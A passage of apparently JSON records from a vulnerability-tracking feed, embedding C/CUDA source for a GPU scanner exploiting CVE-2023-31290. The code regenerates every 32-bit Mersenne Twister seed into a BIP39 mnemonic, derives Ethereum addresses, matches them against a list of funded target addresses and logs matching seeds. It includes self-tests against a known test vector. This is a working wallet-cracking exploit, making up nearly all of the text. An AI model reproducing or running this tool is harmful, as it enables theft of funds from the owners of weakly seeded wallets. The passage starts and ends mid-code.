17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round &lt; 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i &lt; 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i &lt; 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] &lt;&lt; 1) | (bc[(i + 1) % 5] &gt;&gt; 63));\n      for (int j = 0; j &lt; 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i &lt; 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t &lt;&lt; KECCAKF_ROTC[i]) | (t &gt;&gt; (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j &lt; 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i &lt; 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i &lt; 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) &amp; tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen &gt;= rsiz) {\n    for (size_t i = 0; i &lt; rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i &lt; inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i &lt; 32; i++) { khex[2 * i] = hh[kh[i] &gt;&gt; 4]; khex[2 * i + 1] = hh[kh[i] &amp; 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  int rc = eth_from_seed64(&amp;e, seed, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&amp;e, got, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&amp;e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&amp;e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return;\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&amp;e);\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  int gpu_id = 0;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n    else if (!strcmp(argv[i], \"--gpu\") &amp;&amp; i + 1 &lt; argc) gpu_id = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(gpu_id)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  if (gpu_id &lt; 0 || gpu_id &gt;= ndev) {\n    fprintf(stderr, \"bad --gpu %d (have %d)\\n\", gpu_id, ndev);\n    return 1;\n  }\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpu=%d/%d targets=%zu\\n\", start, count, gpu_id, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  g_inner_threads = threads;\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n  {\n    CHECK_CUDA(cudaSetDevice(gpu_id));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    for (uint64_t s = start; s &lt; done_at; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; done_at - s) n = (int)(done_at - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:54:41.740068Z"}, {"uuid": "777a8e67-dc78-4c13-a543-e1e88033bd17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/93fa5197d28f92b1811124a85270afb0", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e-&gt;group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e-&gt;bn = BN_CTX_new();\n  e-&gt;order = BN_new();\n  e-&gt;k = BN_new();\n  e-&gt;t = BN_new();\n  e-&gt;P = e-&gt;group ? EC_POINT_new(e-&gt;group) : NULL;\n  if (!e-&gt;group || !e-&gt;bn || !e-&gt;order || !e-&gt;k || !e-&gt;t || !e-&gt;P) return -1;\n  return EC_GROUP_get_order(e-&gt;group, e-&gt;order, e-&gt;bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e-&gt;P) EC_POINT_free(e-&gt;P);\n  if (e-&gt;t) BN_free(e-&gt;t);\n  if (e-&gt;k) BN_free(e-&gt;k);\n  if (e-&gt;order) BN_free(e-&gt;order);\n  if (e-&gt;bn) BN_CTX_free(e-&gt;bn);\n  if (e-&gt;group) EC_GROUP_free(e-&gt;group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e-&gt;k)) return -1;\n  if (EC_POINT_mul(e-&gt;group, e-&gt;P, e-&gt;k, NULL, NULL, e-&gt;bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e-&gt;group, e-&gt;P, form, out, want, e-&gt;bn) != want) return -1;\n  return 